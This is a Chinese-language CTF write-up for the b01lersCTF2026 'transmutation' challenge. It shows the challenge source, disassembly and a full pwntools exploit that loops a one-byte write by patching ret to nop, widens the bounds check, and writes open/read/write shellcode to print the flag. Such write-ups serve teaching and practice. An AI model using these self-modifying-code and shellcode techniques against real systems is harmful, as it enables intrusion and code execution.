b01lersCTF2026 transmutation

第一次接触 mprotect() 改页保护、再逐字节改自身代码的题目。本文记录用「自修改代码 + 单字节写循环」打通的完整思路。

题目分析

题目给出了 chall.c 源文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

#define MAIN ((char *)main)
#define CHALL ((char *)chall)
#define LEN (MAIN - CHALL)

int main(void);

void chall(void) {
char c = getchar();
unsigned char i = getchar();
if (i < LEN) {
CHALL[i] = c;
}
}

int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);

mprotect((char *)((long)CHALL & ~0xfff), 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);

chall();
return 0;
}
  1. chall() 函数

    • 从标准输入读取 2 个字节c(要写入的值)和 i(写入的位置/偏移)
    • 检查 i < LEN,如果满足,就把 c 写入到 CHALL[i]
    • CHALLchall 函数自身的起始地址,所以这等于修改自己的代码
  2. main() 函数

    • 关闭了 stdin/stdout/stderr 的缓冲
    • 调用 mprotectchall 函数所在的内存页设为 可读、可写、可执行(RWX)
    • 调用 chall()
    • 返回 0
  3. 关键宏

    • LEN = MAIN - CHALL,即 main 函数和 chall 函数之间的距离
    • 这个值用于限制我们只能修改 chall 函数范围内的字节

核心约束

约束 说明
只能修改 1 个字节 程序只调用一次 getchar()c,一次读 i
偏移限制 i 必须小于 LEN(即只能修改 chall 函数内部的字节)
程序只运行一次 chall() 返回后,main 返回,程序退出

目标:通过这唯一一次修改,让程序读取 /app/flag.txt 的内容并输出。

反编译

chall 函数

objdump -d -M intel chall 查看反汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0000000000401146 <chall>:
401146: 55 push rbp
401147: 48 89 e5 mov rbp,rsp
40114a: 48 83 ec 10 sub rsp,0x10
40114e: e8 ed fe ff ff call 401040 <getchar@plt> ; c = getchar()
401153: 88 45 ff mov BYTE PTR [rbp-0x1],al ; 存储 c
401156: e8 e5 fe ff ff call 401040 <getchar@plt> ; i = getchar()
40115b: 88 45 fe mov BYTE PTR [rbp-0x2],al ; 存储 i
40115e: 0f b6 55 fe movzx edx,BYTE PTR [rbp-0x2] ; edx = i
401162: 48 8d 05 26 00 00 00 lea rax,[rip+0x26] ; rax = &main
401169: 48 8d 0d d6 ff ff ff lea rcx,[rip-0x2a] ; rcx = &chall
401170: 48 29 c8 sub rax,rcx ; rax = LEN = 0x49 = 73
401173: 48 39 c2 cmp rdx,rax ; 比较 i 和 LEN
401176: 7d 14 jge 40118c ; if i >= LEN, 跳过写入
401178: 0f b6 45 fe movzx eax,BYTE PTR [rbp-0x2] ; eax = i
40117c: 48 8d 15 c3 ff ff ff lea rdx,[rip-0x3d] ; rdx = &chall
401183: 48 01 c2 add rdx,rax ; rdx = &chall + i
401186: 0f b6 45 ff movzx eax,BYTE PTR [rbp-0x1] ; eax = c
40118a: 88 02 mov BYTE PTR [rdx],al ; chall[i] = c ★
40118c: 90 nop
40118d: c9 leave
40118e: c3 ret

main 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
000000000040118f <main>:
40118f: 55 push rbp
401190: 48 89 e5 mov rbp,rsp
401193: ... ; setbuf(stdin, NULL)
4011a2: ... ; setbuf(stdout, NULL)
4011b6: ... ; setbuf(stderr, NULL)
4011cf: 48 8d 05 70 ff ff ff lea rax,[rip-0x90] ; rax = &chall
4011d6: 48 25 00 f0 ff ff and rax,0xfffffffffffff000 ; 页对齐
4011dc: ba 07 00 00 00 mov edx,0x7 ; RWX
4011e1: be 00 10 00 00 mov esi,0x1000 ; 4096 字节
4011e6: 48 89 c7 mov rdi,rax
4011e9: e8 62 fe ff ff call 401050 <mprotect@plt> ; mprotect
4011ee: e8 53 ff ff ff call 401146 <chall> ; 调用 chall ★
4011f3: b8 00 00 00 00 mov eax,0x0 ; 返回值 0
4011f8: 5d pop rbp
4011f9: c3 ret

关键地址和偏移

为了方便后面讨论,我们把所有地址都转换成相对于 chall 函数开头的偏移

偏移 地址 机器码 指令 说明
0x00 0x401146 55 push rbp
0x01 0x401147 48 89 e5 mov rbp,rsp
0x08 0x40114e e8 ed fe ff ff call getchar 读取 c
0x0d 0x401153 88 45 ff mov [rbp-1],al
0x10 0x401156 e8 e5 fe ff ff call getchar 读取 i
0x1f 0x401162 26 lea rip+0x26 中的 0x26 LEN 计算的关键字节
0x30 0x401176 7d 14 jge +0x14 边界检查跳转
0x44 0x40118a 88 02 mov [rdx],al 实际的写入操作
0x46 0x40118c 90 nop
0x47 0x40118d c9 leave 恢复栈帧
0x48 0x40118e c3 ret 函数返回
0x49 0x40118f 55 push rbp main 函数开头

LEN 的值main - chall = 0x40118f - 0x401146 = 0x49 = 73

所以 i 只能是 0~72,我们只能修改 chall 函数内部的 73 个字节。


解题思路

核心困境

只修改一个字节,程序就退出了——这怎么可能读取 flag 呢?

我们需要解决两个问题:

  1. 如何进行多次修改:一次修改不够,我们需要写入一段 shellcode
  2. 如何绕过偏移限制:shellcode 需要写在 main 函数区域,但 i < LEN 不允许

关键发现:让程序循环执行

观察 chall 函数的末尾:

1
2
40118d: c9          leave    ; 恢复栈帧 (mov rsp,rbp; pop rbp)
40118e: c3 ret ; 返回到 main

再看看紧跟在 chall 后面的是什么?main 函数的开头

1
40118f: 55          push rbp    ; main 函数的第一条指令

如果我把 ret(0xc3)改成 nop(0x90),会发生什么?

1
2
3
4
40118d: c9          leave    ; 恢复栈帧
40118e: 90 nop ; 什么都不做(原来是 ret)
40118f: 55 push rbp ; main 函数开头!
...

执行流会从 chall 的末尾直接落入 main 的开头!这意味着:

  1. leave 恢复了栈帧
  2. nop 什么都不做
  3. 程序继续执行 main 的代码:setbufmprotectcall chall → 又回到 chall
  4. chall 又等待新的输入…

我们建立了一个无限循环! 每次循环,我们都可以发送 2 个字节来修改一个字节。

扩大写入范围

有了循环,我们还需要解决偏移限制。i 必须小于 LEN(73),但我们想写入 main 函数区域(偏移 >= 0x49)。

看这条指令:

1
401162: 48 8d 05 26 00 00 00    lea rax,[rip+0x26]    ; rax = &main

这个 0x26 是计算 LEN 时的偏移量。如果把它改成 0xff

  • 原来:rax = rip + 0x26rax = 0x401169 + 0x26 = 0x40118f(main 的地址)
  • 改后:rax = rip + 0xffrax = 0x401169 + 0xff = 0x401268

LEN 的计算:rax - rcx = 0x401268 - 0x401146 = 0x122 = 290

偏移 0x1f 就是 0x26 这个字节在 chall 函数中的位置。我们只需要发送 c=0xff, i=0x1f 就能把 LEN 从 73 改成 290,从而允许写入 main 区域。

写入 shellcode

现在我们可以在偏移 0~289 的范围内任意修改了。我们选择在偏移 0xad(地址 0x4011f3)开始写入 shellcode。

为什么选 0xad?因为这是 main 函数中 call chall 之后的下一条指令的位置。当 chall 函数正常 ret 时,会返回到这个地址。

我们的 shellcode 做四件事:

  1. open(“/app/flag.txt”, O_RDONLY) — 打开 flag 文件
  2. read(fd, buf, 128) — 读取文件内容
  3. write(1, buf, count) — 输出到 stdout
  4. exit(0) — 干净退出

触发 shellcode

所有 shellcode 写入完成后,我们需要把之前改成 nopret 恢复回来:

  • 发送 c=0xc3, i=0x48:把偏移 0x48 从 nop(0x90)恢复为 ret(0xc3)

此时程序执行流程:

  1. chall 函数执行 leave; ret
  2. ret 返回到 main 中 call chall 的下一条指令:0x4011f3
  3. 0x4011f3 已经被我们的 shellcode 覆盖了
  4. shellcode 执行,读取并输出 flag!

完整 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

def solve(host='transmutation.opus4-7.b01le.rs', port=8443):
p = remote(host, port, ssl=True)
sleep(0.2)

# ===== Step 1: ret -> nop (建立循环) =====
# 偏移 0x48 是 chall 函数的 ret 指令
# 把 0xc3 (ret) 改成 0x90 (nop)
# 这样 leave; nop 后执行流落入 main 开头,形成循环
print("[*] Step 1: ret -> nop")
p.send(bytes([0x90, 0x48]))
sleep(0.05)

# ===== Step 2: 扩大 LEN (绕过偏移检查) =====
# 偏移 0x1f 是 LEA 指令中的立即数 0x26
# 改成 0xff 后,LEN 从 73 变成 290,允许写入 main 区域
print("[*] Step 2: Increase LEN")
p.send(bytes([0xff, 0x1f]))
sleep(0.05)

# ===== Step 3: 写入 shellcode =====
# 在偏移 0xad (地址 0x4011f3) 写入 shellcode
# 0x4011f3 是 main 函数中 call chall 的返回地址
shellcode = asm('''
/* open("/app/flag.txt", O_RDONLY) */
lea rdi, [rip+flag] ; rdi = 指向文件路径
xor esi, esi ; esi = 0 (O_RDONLY)
push 2
pop rax ; rax = 2 (sys_open)
syscall ; open("/app/flag.txt", 0)

/* read(fd, buf, 128) */
mov edi, eax ; edi = fd (open 返回的文件描述符)
lea rsi, [rsp-0x80] ; rsi = 栈上的缓冲区
mov edx, 0x80 ; edx = 128 (读取字节数)
xor eax, eax ; rax = 0 (sys_read)
syscall ; read(fd, buf, 128)

/* write(1, buf, count) */
mov edx, eax ; edx = 实际读取的字节数
push 1
pop rdi ; rdi = 1 (stdout)
lea rsi, [rsp-0x80] ; rsi = 缓冲区
push 1
pop rax ; rax = 1 (sys_write)
syscall ; write(1, buf, count)

/* exit(0) */
xor edi, edi ; edi = 0 (退出码)
push 60
pop rax ; rax = 60 (sys_exit)
syscall ; exit(0)

flag:
.ascii "/app/flag.txt"
.byte 0
''')

sc_offset = 0xAD
print(f"[*] Step 3: Writing {len(shellcode)} bytes of shellcode")

for i, b in enumerate(shellcode):
p.send(bytes([b, sc_offset + i]))
sleep(0.02)

# ===== Step 4: 恢复 ret (触发 shellcode) =====
# 把偏移 0x48 从 nop (0x90) 恢复为 ret (0xc3)
# chall 函数正常 ret,返回到 0x4011f3
# 而 0x4011f3 已经是我们的 shellcode!
print("[*] Step 4: Restore ret -> trigger shellcode")
p.send(bytes([0xc3, 0x48]))

# 读取 flag
sleep(0.5)
output = p.recvall(timeout=5)
print(f"\n[+] Flag: {output.decode(errors='replace').strip()}")

p.close()

if __name__ == '__main__':
solve()

执行流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
原始执行流程:
main() → mprotect(RWX) → call chall() → getchar()×2 → 写1字节 → ret → main返回 → 退出
只能改1个字节就结束了... ────────────────→ 💀

攻击后执行流程:

┌─────────────────────────────────────────────────────────┐
│ Step 1: 修改 ret → nop │
│ │
│ main() → mprotect → call chall() → getchar()×2 │
│ → 写入 nop 到 ret 位置 │
│ → leave; nop (不返回!) │
│ → 落入 main 开头 ←─────────────────────┐ │
│ │ │
│ Step 2: 扩大 LEN │ │
│ → 继续循环 ─────────────────────────────┘ │
│ │
│ Step 3: 写入 shellcode (66次循环,每次写1字节) │
│ → 继续循环 │
│ │
│ Step 4: 恢复 ret │
│ → leave; ret → 返回到 0x4011f3 │
│ → 0x4011f3 已是 shellcode! │
│ → open → read → write → 🚩 FLAG! │
└─────────────────────────────────────────────────────────┘

关键知识点总结

自修改代码(Self-Modifying Code)

这道题的核心机制是程序在运行时修改自身的机器码。这需要:

  • 内存页具有写权限(mprotect 设置 RWX)
  • 修改的是即将执行或后续会执行的代码

控制流劫持

我们将 ret 改为 nop,本质上是劫持了程序的控制流

  • 原本:ret → 返回到 main 中的正常流程 → 程序退出
  • 改后:nop → 落入 main 开头 → 无限循环 → 为我们争取到多次修改的机会

leave 指令

leave 等价于:

1
2
mov rsp, rbp    ; 恢复栈指针
pop rbp ; 恢复旧的 rbp

理解 leave 的行为对于分析”为什么 nop 后能落入 main”至关重要:leave 已经把 rsp 恢复到了函数调用前的状态,所以即使没有 ret 来弹出返回地址,程序也不会崩溃,而是继续往下执行到 main 的代码。

shellcode 编写

我们使用的 shellcode 是经典的 open → read → write 组合:

系统调用 rax rdi rsi rdx
open 2 文件路径 标志(0) -
read 0 fd 缓冲区 长度
write 1 1(stdout) 缓冲区 长度
exit 60 退出码 - -

为了避免 shellcode 中出现 \x00 字节(可能导致输入被截断),我们使用了 push/pop 代替 mov rax, imm,用 xor 清零寄存器。


Flag

1
bctf{CPU_0pt1m1z3r5_H4T3_th15_0n3_51mp13_tr1ck_5519225335}

解码 flag 中的 leet speak:CPU Optimizers HATE this one simple trick(CPU 优化器讨厌这个简单技巧)。